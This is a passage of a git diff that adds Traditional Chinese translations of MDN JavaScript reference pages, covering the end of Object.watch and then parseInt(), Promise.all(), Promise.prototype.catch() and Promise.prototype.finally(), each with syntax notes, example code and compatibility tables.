+<pre class="brush: js">var o = { p: 1 };
+
+o.watch('p', function (id, oldval, newval) {
+  console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval);
+  return newval;
+});
+
+o.p = 2;
+o.p = 3;
+delete o.p;
+o.p = 4;
+
+o.unwatch('p');
+o.p = 5;
+</pre>
+
+<p>上述程式執行結果：</p>
+
+<pre>o.p changed from 1 to 2
+o.p changed from 2 to 3
+o.p changed from undefined to 4
+</pre>
+
+<h3 id="使用_watch_驗證物件的屬性">使用 <code>watch</code> 驗證物件的屬性</h3>
+
+<p>You can use <code>watch</code> to test any assignment to an object's properties. This example ensures that every Person always has a valid name and an age between 0 and 200.</p>
+
+<pre class="brush: js">Person = function(name, age) {
+  this.watch('age', Person.prototype._isValidAssignment);
+  this.watch('name', Person.prototype._isValidAssignment);
+  this.name = name;
+  this.age = age;
+};
+
+Person.prototype.toString = function() {
+  return this.name + ', ' + this.age;
+};
+
+Person.prototype._isValidAssignment = function(id, oldval, newval) {
+  if (id === 'name' &amp;&amp; (!newval || newval.length &gt; 30)) {
+    throw new RangeError('invalid name for ' + this);
+  }
+  if (id === 'age'  &amp;&amp; (newval &lt; 0 || newval &gt; 200)) {
+    throw new RangeError('invalid age for ' + this);
+  }
+  return newval;
+}
+
+will = new Person('Will', 29);
+console.log(will);   // Will, 29
+
+try {
+  will.name = '';
+} catch (e) {
+  console.log(e);
+}
+
+try {
+  will.age = -4;
+} catch (e) {
+  console.log(e);
+}
+</pre>
+
+<p>上述程式執行結果：</p>
+
+<pre>Will, 29
+RangeError: invalid name for Will, 29
+RangeError: invalid age for Will, 29
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<p>Not part of any specifications. Implemented in JavaScript 1.2.</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>This <a class="external link-https" href="https://gist.github.com/384583">Polyfill</a> offers <code>watch</code> to all ES5 compatible browsers.</li>
+ <li>Using a {{jsxref("Proxy")}} enables you do even deeper changes to how property assignments work.</li>
+ <li>Calling <code>watch()</code> on the {{domxref("Document")}} object throws a {{jsxref("TypeError")}} since Firefox 23 ({{bug(903332)}}). This regression has been fixed with Firefox 27.</li>
+</ul>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{jsxref("Object.unwatch()")}}</li>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/parseint/index.html b/files/zh-tw/web/javascript/reference/global_objects/parseint/index.html
new file mode 100644
index 0000000000..ee365f3ce3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/parseint/index.html
@@ -0,0 +1,193 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/parseInt
+tags:
+  - Global method
+  - parseInt
+  - 整數
+  - 進位制
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>parseInt()</strong></code> 函式能將輸入的字串轉成整數。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">parseInt(<em>string</em>, <em>radix</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>待轉成數字的字串。若 <code>string</code> 參數類型不是字串的話，會先將其轉成字串（相當於先執行 <code><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tostring">ToString</a></code> 再執行 <code>parseInt</code>）空白值會被忽略。</dd>
+ <dt><code>radix</code></dt>
+ <dd>從 2 到 36，能代表該進位系統的數字。例如說指定 <code>10</code> 就等於指定十進位。<strong>一定要定義這個參數</strong>以避免他人的困惑、也好預估函式的行為。如果沒有指定 radix 的話，給出的結果會按照實做不同而異，請注意，通常預設值<strong>不是</strong> 10 進位。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>藉由給定字串作轉換後的數字。若第一個字符無法轉換為數字，則回傳 {{jsxref("NaN")}}。</p>
+
+<h2 id="說明">說明</h2>
+
+<p><code>parseInt</code> 函式會把第一個參數變成字串、解析它、再回傳整數或是 <code>NaN</code>。如果不是 <code>NaN</code>，回傳值會把第一個參數，參照指定的 <var>radix</var> 後，以十進位表示。例如，<var>radix</var> 指定為 10 的話，它會以十進位為單位轉換、8 是八進位、16 是十六進位，依此類推。For radices above <code>10</code>, the letters of the alphabet indicate numerals greater than <code>9</code>. For example, for hexadecimal numbers (base 16), <code>A</code> through <code>F</code> are used.</p>
+
+<p>如果說 <code>parseInt</code> 碰上了無法被 radix 指定的進位制所轉換的字元，它會忽略該字元、以及其後所有字元，並只回傳至該位置為止的解析數值結果。<code>parseInt</code> 將數字擷取、轉換成整數數值。 可以接受字串首尾出現空白。</p>
+
+<p>Because some numbers include the <code>e</code> character in their string representation (e.g. <strong><code>6.022e23</code></strong>), using <code>parseInt</code> to truncate numeric values will produce unexpected results when used on very large or very small numbers. <code>parseInt</code> should not be used as a substitute for {{jsxref("Math.floor()")}}.</p>
+
+<p>如果 <var>radix</var> 是 <code>undefined</code> 或 0（或留空）的話，JavaScript 會：</p>
+
+<ul>
+ <li>如果 <code>string</code> 由 "0x" 或 "0X" 開始，<var>radix</var> 會變成代表十六進位的 16，並解析字串的餘數。</li>
+ <li>如果 <code>string</code> 由 0 開始，則 <var>radix</var> 會變成代表八進位的 8 或十進位的 10，但到底會變成 8 還是 10 則取決於各實做。ECMAScript 規定用代表十進位的 10，但也不是所有瀏覽器都支持。因此，<strong>使用 <code>parseInt</code> 時一定要指定 radix</strong>。</li>
+ <li>如果 <code>string</code> 由其他字串開始，radix 就會是十進位的 10。</li>
+</ul>
+
+<p>如果第一個字串無法被解析為任何數字，<code>parseInt</code> 會回傳 <code>NaN</code>。</p>
+
+<p>For arithmetic purposes, the <code>NaN</code> value is not a number in any radix. You can call the {{jsxref("isNaN")}} function to determine if the result of <code>parseInt</code> is <code>NaN</code>. If <code>NaN</code> is passed on to arithmetic operations, the operation results will also be <code>NaN</code>.</p>
+
+<p>若想將數字轉成特定的進位制，可使用 <code>intValue.toString(radix)</code>。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_parseInt">使用 <code>parseInt</code></h3>
+
+<p>以下的範例，回傳的值均為 <strong><code>15</code></strong>：</p>
+
+<pre class="brush: js">parseInt(" 0xF", 16);
+parseInt(" F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt("015", 10); // parseInt(015, 10); will return 15
+parseInt(15.99, 10);
+parseInt("15,123", 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+</pre>
+
+<p>以下均回傳 <strong><code>NaN</code></strong>：</p>
+
+<pre class="brush: js">parseInt("Hello", 8); // 根本不是數字
+parseInt("546", 2);   // 在二進位無效
+</pre>
+
+<p>以下的範例，回傳的值均為 <strong><code>-15</code></strong>：</p>
+
+<pre class="brush: js">parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt(-15.1, 10)
+parseInt(" -17", 8);
+parseInt(" -15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+</pre>
+
+<p>下例會回傳 <strong><code>4</code></strong>：</p>
+
+<pre class="brush: js">parseInt(4.7, 10);
+parseInt(4.7 * 1e22, 10); // Very large number becomes 4
+parseInt(0.00000000000434, 10); // Very small number becomes 4
+</pre>
+
+<p>下例會回傳 <strong><code>224</code></strong>:</p>
+
+<pre class="brush: js">parseInt("0e0", 16);
+</pre>
+
+<h2 id="無_radix_情況下的八進制">無 radix 情況下的八進制</h2>
+
+<p>雖說已在 ECMAScript 3 提議並於 ECMAScript 5 禁用，但部分 javascript 編譯器仍會在特殊情況下，將 str 視作八進位數字（當數字以 <code>0</code> 開頭時）。以下為可能發生這種問題的情況：（<strong>永遠要宣告 radix 以避開這不可靠的行為</strong>）</p>
+
+<pre class="brush: js">parseInt("0e0"); // 0
+parseInt("08"); // 0, '8' is not an octal digit.
+</pre>
+
+<h3 id="ECMAScript_5_移除八進位轉譯（octal_interpretation）">ECMAScript 5 移除八進位轉譯（octal interpretation）</h3>
+
+<p>The ECMAScript 5 specification of the function <code>parseInt</code> no longer allows implementations to treat Strings beginning with a <code>0</code> character as octal values. ECMAScript 5 states:</p>
+
+<p>The <code>parseInt</code> function produces an integer value dictated by interpretation of the contents of the string argument according to the specified radix. Leading white space in string is ignored. If radix is undefined or <code>0</code>, it is assumed to be <code>10</code> except when the number begins with the character pairs <code>0x</code> or <code>0X</code>, in which case a radix of 16 is assumed.</p>
+
+<p>This differs from ECMAScript 3, which discouraged but allowed octal interpretation.</p>
+
+<p>Many implementations have not adopted this behavior as of 2013, and because older browsers must be supported, <strong>always specify a radix</strong>.</p>
+
+<h2 id="嚴謹的解析_function">嚴謹的解析 function</h2>
+
+<p>有的時候，使用更嚴謹的 code 能夠更精確地轉換整數值。 Regular expressions 可以幫你：</p>
+
+<pre class="brush: js">filterInt = function (value) {
+  if(/^(\-|\+)?([0-9]+|Infinity)$/.test(value))
+    return Number(value);
+  return NaN;
+}
+
+console.log(filterInt('421'));               // 421
+console.log(filterInt('-421'));              // -421
+console.log(filterInt('+421'));              // 421
+console.log(filterInt('Infinity'));          // Infinity
+console.log(filterInt('421e+0'));            // NaN
+console.log(filterInt('421hop'));            // NaN
+console.log(filterInt('hop1.61803398875'));  // NaN
+console.log(filterInt('1.61803398875'));     // NaN
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.2', 'parseInt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.parseInt")}}</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/all/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/all/index.html
new file mode 100644
index 0000000000..eb18ce63f9
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/all/index.html
@@ -0,0 +1,207 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/all
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.all()</strong></code> 方法回傳一個 {{jsxref("Promise")}} 物件，當引數 <code>iterable</code> 中所有的 promises 都被實現（resolved），或引數 iterable 不含任何 promise 時，被實現。或以第一個被拒絕的 promise 的原因被拒絕。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>Promise.all(iterable)</var>;</pre>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>一個 <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable</a> 物件像是 {{jsxref("Array")}} 或 {{jsxref("String")}}。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<ul>
+ <li>一個<strong>已被實現（already resolved）</strong>的 {{jsxref("Promise")}}，若傳入的 iterable 為空。</li>
+ <li>一個<strong>非同步地被實現（asynchronously resolved）</strong>的 {{jsxref("Promise")}} 若傳入的 iterable 不含 promise。注意，Google Chrome 58 對此情形回傳一個<strong>已被解決</strong>的 promise。</li>
+ <li>一個<strong>擱置（pending）</strong>的 {{jsxref("Promise")}}，對所有剩餘情形。此 promise 接著被<strong>非同步地</strong>被 resolved/rejected（只要堆疊為空）當 iterable 中所有的 promises 都被實現，或其中一個被拒絕。參見下方關於"Promise.all 的非同步與同步性質"的例子。</li>
+</ul>
+
+<h2 id="描述">描述</h2>
+
+<p>此方法在聚集（aggregating）多個 promises 的結果時很有幫助。</p>
+
+<p>實現（Fulfillment）：<br>
+ 若傳入空的 iterable，此方法（同步地）回傳一個已被解決的 promise。若所有傳入的 promises 都被實現，或都不是 promise，<code>Promise.all</code> 回傳的 promise 被非同步地實現。無論是哪個情形，回傳一個以 iterable 其內<strong>所有</strong>值（包含非 promise 值）作為引數的陣列被實現。<br>
+  </p>
+
+<p>拒絕（Rejection）：<br>
+ 若任一個傳入的 promise 被拒絕，Promise.all 非同步地以其值被拒絕，無論其他 promises 是否被解決。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Promise.all">使用 <code>Promise.all</code></h3>
+
+<p><code>Promise.all</code> 等到全部實現（或一個拒絕）。</p>
+
+<pre class="brush: js">var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 100, 'foo');
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+  console.log(values); // [3, 1337, "foo"]
+});</pre>
+
+<p>若 iterable 含非 promise 值，它們將被忽略，但依然會被記入回傳 promise 陣列值（若被實現）：</p>
+
+<pre class="brush: js">// this will be counted as if the iterable passed is empty, so it gets fulfilled
+var p = Promise.all([1,2,3]);
+// this will be counted as if the iterable passed contains only the resolved promise with value "444", so it gets fulfilled
+var p2 = Promise.all([1,2,3, Promise.resolve(444)]);
+// this will be counted as if the iterable passed contains only the rejected promise with value "555", so it gets rejected
+var p3 = Promise.all([1,2,3, Promise.reject(555)]);
+
+// using setTimeout we can execute code after the stack is empty
+setTimeout(function(){
+    console.log(p);
+    console.log(p2);
+    console.log(p3);
+});
+
+// logs
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[3] }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[4] }
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 555 }</pre>
+
+<h3 id="Promise.all_的非同步與同步性質"><code>Promise.all</code> 的非同步與同步性質</h3>
+
+<p>以下例子驗證了 <code>Promise.all</code> 的非同步性質（asynchronicity）（或同步性質（synchronicity），若傳入的 iterable 是空的）：</p>
+
+<pre class="brush: js">// we are passing as argument an array of promises that are already resolved,
+// to trigger Promise.all as soon as possible
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.all(resolvedPromisesArray);
+// immediately logging the value of p
+console.log(p);
+
+// using setTimeout we can execute code after the stack is empty
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+});
+
+// logs, in order:
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<p><code>當</code> <code>Promise.all</code> 被拒絕時發生一樣的事情：</p>
+
+<pre class="brush: js">var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)];
+var p = Promise.all(mixedPromisesArray);
+console.log(p);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+});
+
+// logs
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 44 }
+</pre>
+
+<p>注意！<code>Promise.all</code> 同步地被解決<strong>若且唯若</strong>傳入的 iterable 為空：</p>
+
+<pre class="brush: js">var p = Promise.all([]); // will be immediately resolved
+var p2 = Promise.all([1337, "hi"]); // non-promise values will be ignored, but the evaluation will be done asynchronously
+console.log(p);
+console.log(p2)
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p2);
+});
+
+// logs
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[0] }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<h3 id="Promise.all_的失敗優先（fail-fast）行為"><code>Promise.all</code> 的失敗優先（fail-fast）行為</h3>
+
+<p><code>當任一個陣列成員被拒絕則</code> <code>Promise.all</code> 被拒絕。例如，若傳入四個將在一段時間後被解決的 promises，而其中一個立刻被拒絕，則 <code>Promise.all</code> 將立刻被拒絕。</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 1000, 'one');
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 2000, 'two');
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 3000, 'three');
+});
+var p4 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 4000, 'four');
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+  reject('reject');
+});
+
+Promise.all([p1, p2, p3, p4, p5]).then(values =&gt; {
+  console.log(values);
+}, reason =&gt; {
+  console.log(reason)
+});
+
+//From console:
+//"reject"
+
+//You can also use .catch
+Promise.all([p1, p2, p3, p4, p5]).then(values =&gt; {
+  console.log(values);
+}).catch(reason =&gt; {
+  console.log(reason)
+});
+
+//From console:
+//"reject"
+
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.all")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/catch/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/catch/index.html
new file mode 100644
index 0000000000..d06036c11e
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/catch/index.html
@@ -0,0 +1,189 @@
+---
+title: Promise.prototype.catch()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/catch
+tags:
+  - EMCAScript 2015
+  - JavaScript
+  - Method
+  - Promise
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
+---
+<div>{{JSRef}}</div>
+
+<p><strong>catch()</strong> 方法只處理 Promise 的被拒絕狀態，並回傳一個新的 <code>Promise</code> 物件。此方法的行為等同於呼叫 {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>p.catch(onRejected)</var>;
+
+p.catch(function(reason) {
+   // rejection
+});
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt>onRejected</dt>
+ <dd>一個 {{jsxref("Function")}} ，在 <code>Promise</code> 被拒絕時被呼叫。這個函式有一個引數：
+ <dl>
+  <dt><code>reason</code></dt>
+  <dd>失敗訊息。</dd>
+ </dl>
+ 若 onRejected 拋出一個錯誤或回傳一個被拒絕的 Promise，則 catch() 回傳的 Promise 被拒絕；其他情形都是被實現。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>呼叫（<code>catch</code> 的 promise）物件，內部呼叫 <code>Promise.prototype.then</code>，傳入引數 undefined 及 onRejected；接著以之結果回傳（結果為 {{jsxref("Promise")}}）。</p>
+
+<p><strong>內部呼叫演示：</strong></p>
+
+<pre class="brush: js">// overriding original Promise.prototype.then/catch just to add some logs
+(function(Promise){
+    var originalThen = Promise.prototype.then;
+    var originalCatch = Promise.prototype.catch;
+
+    Promise.prototype.then = function(){
+        console.log('&gt; &gt; &gt; &gt; &gt; &gt; called .then on %o with arguments: %o', this, arguments);
+        return originalThen.apply(this, arguments);
+    };
+    Promise.prototype.catch = function(){
+        console.log('&gt; &gt; &gt; &gt; &gt; &gt; called .catch on %o with arguments: %o', this, arguments);
+        return originalCatch.apply(this, arguments);
+    };
+
+})(this.Promise);
+
+
+
+// calling catch on an already resolved promise
+Promise.resolve().catch(function XXX(){});
+
+// logs:
+// &gt; &gt; &gt; &gt; &gt; &gt; called .catch on Promise{} with arguments: Arguments{1} [0: function XXX()]
+// &gt; &gt; &gt; &gt; &gt; &gt; called .then on Promise{} with arguments: Arguments{2} [0: undefined, 1: function XXX()]
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p><code>catch</code> 方法在處理 promise 組合的錯誤時很有幫助。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用及串接_catch_方法">使用及串接 <code>catch</code> 方法</h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve('Success');
+});
+
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  throw 'oh, no!';
+}).catch(function(e) {
+  console.log(e); // "oh, no!"
+}).then(function(){
+  console.log('after a catch the chain is restored');
+}, function () {
+  console.log('Not fired due to the catch');
+});
+
+// The following behaves the same as above
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  return Promise.reject('oh, no!');
+}).catch(function(e) {
+  console.log(e); // "oh, no!"
+}).then(function(){
+  console.log('after a catch the chain is restored');
+}, function () {
+  console.log('Not fired due to the catch');
+});
+</pre>
+
+<h3 id="拋出例外時的陷阱">拋出例外時的陷阱</h3>
+
+<pre class="brush: js">// Throwing an error will call the catch method most of the time
+var p1 = new Promise(function(resolve, reject) {
+  throw 'Uh-oh!';
+});
+
+p1.catch(function(e) {
+  console.log(e); // "Uh-oh!"
+});
+
+// Errors thrown inside asynchronous functions will act like uncaught errors
+var p2 = new Promise(function(resolve, reject) {
+  setTimeout(function() {
+    throw 'Uncaught Exception!';
+  }, 1000);
+});
+
+p2.catch(function(e) {
+  console.log(e); // This is never called
+});
+
+// Errors thrown after resolve is called will be silenced
+var p3 = new Promise(function(resolve, reject) {
+  resolve();
+  throw 'Silenced Exception!';
+});
+
+p3.catch(function(e) {
+   console.log(e); // This is never called
+});</pre>
+
+<h3 id="如果_Promise_被實現">如果 Promise 被實現</h3>
+
+<pre class="brush: js">//Create a promise which would not call onReject
+var p1 = Promise.resolve("calling next");
+
+var p2 = p1.catch(function (reason) {
+    //This is never called
+    console.log("catch p1!");
+    console.log(reason);
+});
+
+p2.then(function (value) {
+    console.log("next promise's onFulfilled"); /* next promise's onFulfilled */
+    console.log(value); /* calling next */
+}, function (reason) {
+    console.log("next promise's onRejected");
+    console.log(reason);
+});</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.catch")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.html
new file mode 100644
index 0000000000..eef15faf9a
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/finally/index.html
@@ -0,0 +1,102 @@
+---
+title: Promise.prototype.finally()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/finally
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>finally()</strong></code> 方法會回傳一個 {{jsxref("Promise")}}。當 promise 被 settled 後，無論其結果是 fulfilled 還是 rejected ，都會執行指定的回呼函數。它提供了一個讓 <code>Promise</code> 在被確認後，無論是 fulfilled 或是 rejected 都會執行某些程式碼的一種手段。</p>
+
+<p>這樣可以避免你在 promise 的 {{jsxref("Promise.then", "then()")}} 和 {{jsxref("Promise.catch", "catch()")}} 重複處理相同的程式碼。</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>p.finally(onFinally)</var>;
+
+p.finally(function() {
+   // settled（fulfilled 或 rejected)
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>onFinally</code></dt>
+ <dd>當 <code>Promise</code> settled 後呼叫的 {{jsxref("Function")}}。</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>回傳 {{jsxref("Promise")}} 當 <code>finally</code> 的處理函數 <code>onFinally</code> 被指定時。</p>
+
+<h2 id="Description">Description</h2>
+
+<p>當你希望在 promise settled 後且不關心它的結果為何時，執行一些處理或清理的工作， <code>finally()</code> 方法會很有幫助。</p>
+
+<p><code>finally()</code> 方法非常類似於 <code>.then(onFinally, onFinally)</code> 的呼叫方式，但仍有一些差異：</p>
+
+<ul>
+ <li><font><font>當建立行內的函數時，可以只傳遞一次，從而避免重複宣告或為它宣告變數。</font></font></li>
+ <li><code>finally</code> 的回呼函數並不會接收到任何引數，因其沒有可靠的方式來確認 promise 是被 fulfilled 還是 rejected 。它的使用情境僅適用於當你<em>不關心</em> rejection 的原因或 fulfillment 的值，因此無須提供。範例：
+  <ul>
+   <li><font><font>與 </font></font><code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code><font><font>（將被 resolved 為</font></font><code>undefined</code><font><font>）不同，</font></font><code>Promise.resolve(2).finally(() =&gt; {})</code><font><font> 將被 resolved 為</font></font><code>2</code><font><font>。</font></font></li>
+   <li><font><font>同樣的，與 </font></font><code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code><font><font>（將 fulfilled 為</font></font><code>undefined</code><font><font>）不同，</font></font><code>Promise.reject(3).finally(() =&gt; {})</code><font><font> 將被 rejected 為</font></font><code>3</code><font><font>。</font></font></li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>備註： </strong>在 finally 回呼中使用 throw （或回傳 rejected promise）會導致新的 promise 被 reject ， reject 的原因則是呼叫 throw() 時所指定的值。</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">let isLoading = true;
+
+fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType &amp;&amp; contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); })
+  .finally(function() { isLoading = false; });
+
+</pre>
+
+<div class="hidden">
